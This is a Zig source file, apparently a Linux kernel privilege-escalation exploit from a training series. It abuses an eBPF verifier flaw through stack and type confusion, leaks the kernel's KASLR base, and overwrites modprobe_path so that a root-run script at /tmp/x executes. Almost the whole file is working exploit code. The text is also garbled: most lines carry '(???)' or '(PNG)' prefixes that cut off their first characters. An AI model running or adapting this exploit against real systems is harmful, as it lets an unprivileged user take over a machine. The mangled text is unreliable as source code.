(???) onst std = @import("std");
(???) onst linux = std.os.linux;
(???) onst posix = std.posix;
(PNG) ub const std_options = std.Options{
(???) .log_level = if (@hasDecl(@This(), "DEBUG")) .debug else .info,
(???) .logFn = pawnyableLogger,
(???) ;
(PNG) ub fn pawnyableLogger(
(???) comptime level: std.log.Level,
(???) comptime _: @Type(.enum_literal),
(???) comptime format: []const u8,
(???) args: anytype,
(???) void {
(???) const prefix = "[" ++ comptime blk: {
(???) const level_text = switch (level) {
(???) .debug => "DBUG",
(???) .info => "INFO",
(???) .warn => "WARN",
(???) .err => "ERRR",
(???) };
(???) var buf: [level_text.len]u8 = undefined;
(???) break :blk std.ascii.upperString(&buf, level_text);
(???) } ++ "] ";
(???) std.debug.lockStdErr();
(???) defer std.debug.unlockStdErr();
(???) const stderr = std.io.getStdErr().writer();
(???) nosuspend stderr.print(prefix ++ format ++ "\n", args) catch return;
(???)
(???) n bigEndianify(comptime len: usize, buf: []const u8) [len]u8 {
(???) var bufLE: [len]u8 = undefined;
(???) inline for (0..len) |i| bufLE[i] = buf[len - 1 - i];
(???) return bufLE;
(???)
(???) ar __spinlock: bool = false;
nline fn spin() void {
(???) while (true) if (__spinlock) break;
(???)
(???) xport var user_cs: u64 = 0;
(???) xport var user_ss: u64 = 0;
(???) xport var user_rsp: u64 = 0;
(???) xport var user_rflags: u64 = 0;
(???) n saveState() callconv(.C) void {
(???) asm volatile (
(???) \\.intel_syntax noprefix
(???) \\mov user_cs, cs
(???) \\mov user_ss, ss
(???) \\mov user_rsp, rsp
(???) \\pushfq
(???) \\pop qword ptr user_rflags
(???) \\.att_syntax
(???) );
(???)
(???) n whoami() void {
(???) std.log.info("You won!!", .{});
(???) const args = [_:null]?[*:0]const u8{"/usr/bin/whoami"};
(???) const env = [_:null]?[*:0]u8{};
(???) switch (posix.execveZ("/usr/bin/whoami", args[0..args.len], env[0..env.len])) {
(???) else => unreachable,
(???) }
(???) unreachable;
(???)
(???) n modprobePath() void {
(???) std.log.info("You won!!", .{});
(???) const tmpx = std.fs.cwd().createFile(
(???) "/tmp/x",
(???) .{
(???) .read = true,
(???) .mode = 0o777,
(???) },
(???) ) catch unreachable;
(???) tmpx.writeAll(
(???) \\#!/bin/sh
(???) \\/usr/bin/whoami &> /tmp/whoisit
(???) \\chmod 777 /tmp/whoisit
(???) ) catch unreachable;
(???) tmpx.close();
(???) const unknown = std.fs.cwd().createFile(
(???) "/tmp/unknown",
(???) .{
(???) .read = true,
(???) .mode = 0o777,
(???) },
(???) ) catch unreachable;
(???) unknown.writeAll(&[_]u8{0xff} ** 4) catch unreachable;
(???) unknown.close();
(???) posix.exit(0);
(???)
(???) n corePattern() void {
(???) std.log.info("You won!!", .{});
(???) const tmpx = std.fs.cwd().createFile(
(???) "/tmp/x",
(???) .{
(???) .read = true,
(???) .mode = 0o777,
(???) },
(???) ) catch unreachable;
(???) tmpx.writeAll(
(???) \\#!/bin/sh
(???) \\/usr/bin/whoami &> /tmp/whoisit
(???) \\chmod 777 /tmp/whoisit
(???) ) catch unreachable;
(???) tmpx.close();
(???) switch (posix.fork() catch unreachable) {
(???) 0 => posix.abort(),
(???) else => |pid| _ = posix.waitpid(pid, 0),
(???) }
(???) const flag = std.fs.openFileAbsolute("/tmp/whoisit", .{}) catch {
(???) std.log.err("Failed to open /tmp/whoisit", .{});
(???) posix.abort();
(???) };
(???) defer flag.close();
(???) std.debug.print("{s}", .{(tmpx.reader().readBoundedBytes(32) catch unreachable).constSlice()});
(???) posix.exit(0);
(???)
(???) n catchSigsegv(comptime handler: *const fn () void) void {
(???) const wrapper = struct {
(???) fn wrapper(_: i32) callconv(.C) void {
(???) handler();
(???) }
(???) }.wrapper;
(???) const sigact = posix.Sigaction{
(???) .handler = .{ .handler = &wrapper },
(???) .mask = posix.empty_sigset,
(???) .flags = 0,
(???) };
(???) posix.sigaction(posix.SIG.SEGV, &sigact, null);
(???)
(???) onst BPF = linux.BPF;
(???) onst AF = linux.AF;
(???) onst SOCK = linux.SOCK;
(???) onst SOL = linux.SOL;
(???) onst SO = linux.SO;
(???) / broken in 0.14.1
(???) n _ld_dw1(dst: BPF.Insn.Reg, imm: u64) BPF.Insn {
(???) return .{
(???) .code = BPF.LD | BPF.DW | BPF.IMM,
(???) .dst = @intFromEnum(dst),
(???) .src = @intFromEnum(BPF.Insn.Reg.r0),
(???) .off = 0,
(???) .imm = @as(i32, @bitCast(@as(u32, @truncate(imm)))),
(???) };
(???)
(???) n _ld_dw2(imm: u64) BPF.Insn {
(???) return .{
(???) .code = 0,
(???) .dst = 0,
(???) .src = 0,
(???) .off = 0,
(???) .imm = @as(i32, @bitCast(@as(u32, @truncate(imm >> 32)))),
(???) };
(???)
(???) n bpf_helper(mapfd: posix.fd_t, insns: []const BPF.Insn, input: []const u8) !void {
(???) try BPF.map_update_elem(mapfd, &std.mem.toBytes(@as(i32, 0)), &.{1}, BPF.ANY);
(???) var verifier_log: [0x20000]u8 = undefined;
(???) var log = BPF.Log{ .buf = &verifier_log, .level = 2 };
(???) errdefer std.log.err("BPF Verifier output:\n{s}", .{std.mem.sliceTo(&verifier_log, 0)});
(???) const progfd = try BPF.prog_load(.socket_filter, insns, &log, "GPL v2", 0, 0);
(???) var socks: [2]linux.fd_t = undefined;
(???) switch (posix.errno(linux.socketpair(AF.UNIX, SOCK.DGRAM, 0, &socks))) {
(???) .SUCCESS => {},
(???) else => |e| return posix.unexpectedErrno(e),
(???) }
(???) switch (posix.errno(linux.setsockopt(socks[0], SOL.SOCKET, SO.ATTACH_BPF, std.mem.asBytes(&progfd), 4))) {
(???) .SUCCESS => {},
(???) else => |e| return posix.unexpectedErrno(e),
(???) }
(???) _ = try posix.write(socks[1], input);
(???)
(???) n confirm_unpriviledged_bpf() !void {
(???) // demonstrate that we don't have CAP_BPF or CAP_SYS_ADMIN by confirming that we can't load a BPF program that requires elevated capabilities.
(???) const insns = [_]BPF.Insn{
(???) .{
(???) .code = BPF.CALL | BPF.JMP,
(???) .dst = 0,
(???) .src = 1,
(???) .off = 0,
(???) .imm = 2,
(???) },
(???) .mov(.r0, 0),
(???) .exit(),
(???) } ++ [_]BPF.Insn{
(???) .mov(.r0, 0),
(???) .exit(),
(???) };
(???) if (BPF.prog_load(.socket_filter, &insns, null, "GPL v2", 0, 0)) |_| {
(???) std.log.warn("User is bpf_capable! (Are you running this as root?)", .{});
(???) } else |err| switch (err) {
(???) error.AccessDenied => std.log.info("User is not bpf_capable", .{}),
(???) else => return err,
(???) }
(???)
(???) ar MODPROBE_PATH: u64 = 0xffffffff81e37fe0;
(???) onst BPF_USER_RND_U32: u64 = 0xffffffff810e4590;
(???) n call_decoder(address: u64, insn: []const u8) u64 {
(???) const builtin = @import("builtin");
(???) std.debug.assert(builtin.target.cpu.arch == .x86_64);
(???) std.debug.assert(insn[0] == 0xe8 and insn.len == 5);
(???) return 0xffffffff00000000 | ((address + insn.len) +% std.mem.bytesToValue(u64, insn[1..5]));
(???)
(???) n exploit_prologue(mapfd: posix.fd_t) [26]BPF.Insn {
(???) return [_]BPF.Insn{
(???) .mov(.r6, .r1),
(???) .st(.double_word, .r10, -0x8, 0),
(???) .ld_map_fd1(.r1, mapfd),
(???) .ld_map_fd2(mapfd),
(???) .mov(.r2, .r10),
(???) .add(.r2, -0x8),
(???) .call(.map_lookup_elem),
(???) .jmp(.jne, .r0, 0, 2),
(???) .mov(.r0, 0),
(???) .exit(),
(???) .mov(.r9, .r0),
(???) .ldx(.double_word, .r1, .r9, 0),
(???) .rsh(.r1, 32),
(???) .lsh(.r1, 32),
(???) .alu(64, .mov, .r2, @as(i32, @bitCast(@as(u32, 0xfffffffe)))),
(???) .lsh(.r2, 32),
(???) .add(.r2, 1),
(???) .alu_or(.r1, .r2),
(???) // R1 \in [1, 0] = 1
(???) .ldx(.double_word, .r2, .r9, 0),
(???) .jmp(.jle, .r2, 1, 2),
(???) .mov(.r0, 0),
(???) .exit(),
(???) // R2 \in [0, 1] = 1
(???) .add(.r1, .r2),
(???) .alu(32, .mov, .r1, .r1),
(???) .sub(.r1, 1),
(???) .stx(.double_word, .r10, -0x10, .r1),
(???) };
(???)
(???) n exploit_stack_confusion() [155]BPF.Insn {
(???) // results are stored in r7 (a frame pointer that the verifier thinks points to fp-0x18 but doesn't) and r8 (a frame pointer that points to the same place as the corrupted frame pointer but it is consistent with the verifier)
(???) // in other words, use r8 to load a malicious value, load the innocent value into r10-0x18, and load from r7 to get type confusion
(???) var ret: [155]BPF.Insn = undefined;
(???) const _insns = comptime blk: {
(???) var insns: []const BPF.Insn = &.{};
(???) insns = insns ++ [_]BPF.Insn{
(???) // load fp-0x18 on the stack
(???) .mov(.r1, .r10),
(???) .add(.r1, -0x20),
(???) .stx(.double_word, .r10, -0x18, .r1),
(???) .mov(.r1, .r6), // skb->data == "foobared\x00\x08"
(???) .mov(.r2, 0),
(???) // 8 bytes before the last byte of the to-be-corrupted stack pointer
(???) .mov(.r3, .r10),
(???) .add(.r3, -0x20),
(???) // r4 (expected: 0x8, actual: 0x9)
(???) .ldx(.double_word, .r4, .r10, -0x10),
(???) .add(.r4, 0x8),
(???) .call(.skb_load_bytes),
(???) // r7 = (fp-0x20) - [0, 0xf8]
(???) .ldx(.double_word, .r7, .r10, -0x18),
(???) };
(???) // zero out the stack
(???) for (1..0xf8 / 8 + 1) |_i| {
(???) const i: i16 = @intCast(_i);
(???) insns = insns ++ [_]BPF.Insn{
(???) .st(.double_word, .r10, -0x18 - 8 * i, 0),
(???) };
(???) }
(???) insns = insns ++ [_]BPF.Insn{
(???) // load a special value somewhere on the stack
(???) .ldx(.double_word, .r1, .r9, 0),
(???) .stx(.double_word, .r7, 0, .r1), // r1 == 1, but the verifier doesn't know that
(???) // special case for if the pointer was left unchanged
(???) .ldx(.double_word, .r1, .r10, -0x20),
(???) .jmp(.jne, .r1, 1, 14),
(???) // this will always result in r7 being (expected: fp-0x20, actual: fp-0x18)
(???) .mov(.r1, .r10),
(???) .add(.r1, -0x20),
(???) .stx(.double_word, .r10, -0x18, .r1),
(???) .mov(.r1, .r6),
(???) .mov(.r2, 1), // now the last byte is 0x8, not 0x0
(???) .mov(.r3, .r10),
(???) .add(.r3, -0x20),
(???) .ldx(.double_word, .r4, .r10, -0x10),
(???) .add(.r4, 0x8),
(???) .call(.skb_load_bytes),
(???) .ldx(.double_word, .r7, .r10, -0x18),
(???) .mov(.r8, .r10),
(???) .add(.r8, -0x18),
(???) .jmp(.ja, .r0, 0, (0xf8 / 8) * 3 + 2), // "exit" by skipping the rest of the program
(???) .mov(.r8, .r10),
(???) .add(.r8, -0x18),
(???) };
(???) // search the stack for the special value
(???) for (1..0xf8 / 8 + 1) |_i| {
(???) const i: i16 = @intCast(_i);
(???) insns = insns ++ [_]BPF.Insn{
(???) .add(.r8, -0x8),
(???) .ldx(.double_word, .r1, .r8, 0),
(???) .jmp(.jeq, .r1, 1, (0xf8 / 8 - i) * 3),
(???) };
(???) }
(???) break :blk &insns;
(???) };
(???) @memcpy(&ret, _insns.*);
(???) return ret;
(???)
(???) n overwrite_modprobe_path() !void {
(???) const mapfd: i32 = try BPF.map_create(.array, @sizeOf(i32), @sizeOf(u64), 1);
(???) const insns = exploit_prologue(mapfd) ++ exploit_stack_confusion() ++ [_]BPF.Insn{
(???) // type confusion of r1 (expected: fp-0x8, actual: MODPROBE_PATH)
(???) _ld_dw1(.r1, MODPROBE_PATH),
(???) _ld_dw2(MODPROBE_PATH),
(???) .stx(.double_word, .r8, 0, .r1),
(???) .mov(.r1, .r10),
(???) .add(.r1, -0x8),
(???) .stx(.double_word, .r10, -0x20, .r1),
(???) .ldx(.double_word, .r1, .r7, 0),
(???) _ld_dw1(.r2, std.mem.bytesAsValue(u64, "/tmp/x\x00").*),
(???) _ld_dw2(std.mem.bytesAsValue(u64, "/tmp/x\x00").*),
(???) .stx(.double_word, .r1, 0, .r2),
(???) .mov(.r0, 0),
(???) .exit(),
(???) };
(???) try bpf_helper(mapfd, &insns, "foobar");
(???)
(???) n kaslr_leak() !u64 {
(???) const mapfd: i32 = try BPF.map_create(.array, @sizeOf(i32), @sizeOf(u64), 3);
(???) const insns = exploit_prologue(mapfd) ++ exploit_stack_confusion() ++ [_]BPF.Insn{
(???) // type confusion: r1 (expected: scalar, actual: fp)
(???) .stx(.double_word, .r8, 0, .r10),
(???) .st(.double_word, .r10, -0x20, 0xdead),
(???) .ldx(.double_word, .r1, .r7, 0),
(???) .add(.r1, -0x190), // fp-0x190, this is where the saved return address is stored
(???) // construct a fake skb on the stack
(???) .stx(.double_word, .r8, -0x8, .r1), // skb->data == fp-0x110
(???) .st(.double_word, .r8, -(0x8 + (0xb8 - 0x68)), 0x100), // skb->data_len == 0xcafe
(???) .mov(.r1, .r8),
(???) .add(.r1, -(0x8 + 0xb8)), // &skb
(???) .stx(.double_word, .r8, 0, .r1),
(???) // type confusion: r1 (expected: ctx, actual: fp-)
(???) .stx(.double_word, .r10, -0x20, .r6),
(???) .ldx(.double_word, .r1, .r7, 0),
(???) .mov(.r2, 0),
(???) .mov(.r3, .r8),
(???) .add(.r3, -0x10),
(???) .mov(.r4, 8),
(???) .call(.skb_load_bytes),
(???) // the address of this instruction is now in r8-0x10
(???) .{
(???) .code = BPF.CALL | BPF.JMP,
(???) .dst = 0,
(???) .src = 0,
(???) .off = 0,
(???) .imm = 7,
(???) },
(???) // map[1] = &call_instruction
(???) .ld_map_fd1(.r1, mapfd),
(???) .ld_map_fd2(mapfd),
(???) .st(.double_word, .r10, -0x8, 1),
(???) .mov(.r2, .r10),
(???) .add(.r2, -0x8),
(???) .mov(.r3, .r8),
(???) .add(.r3, -0x10),
(???) .mov(.r4, 0),
(???) .call(.map_update_elem),
(???) // type confusion: r1 (expected: fp-0x8, actual: &call_instruction)
(???) .ldx(.double_word, .r1, .r8, -0x10),
(???) .stx(.double_word, .r8, 0, .r1),
(???) .mov(.r1, .r10),
(???) .add(.r1, -0x8),
(???) .stx(.double_word, .r10, -0x20, .r1),
(???) .ldx(.double_word, .r1, .r7, 0),
(???) // map[2] = call_instruction
(???) .mov(.r3, .r1),
(???) .ld_map_fd1(.r1, mapfd),
(???) .ld_map_fd2(mapfd),
(???) .st(.double_word, .r10, -0x8, 2),
(???) .mov(.r2, .r10),
(???) .add(.r2, -0x8),
(???) .mov(.r4, 0),
(???) .call(.map_update_elem),
(???) .mov(.r0, 0),
(???) .exit(),
(???) };
(???) // idk why but adding \x00\x08 to the end doesn't work as expected
(???) try bpf_helper(mapfd, &insns, "foobared");
(???) var buf: [2]u64 = undefined;
(???) for (0..2) |i| try BPF.map_lookup_elem(mapfd, &std.mem.toBytes(@as(i32, @intCast(i + 1))), std.mem.asBytes(&buf[i]));
(???) return call_decoder(buf[0], std.mem.asBytes(&buf[1])[0..5]) - BPF_USER_RND_U32;
(???)
(PNG) ub fn main() !void {
(???) try confirm_unpriviledged_bpf();
(???) const kaslr_offset = try kaslr_leak();
(???) std.log.info("Kernel base: 0x{s}", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&(kaslr_offset + 0xffffffff81000000))), .lower)});
(???) MODPROBE_PATH += kaslr_offset;
(???) try overwrite_modprobe_path();
(???) modprobePath();
(???)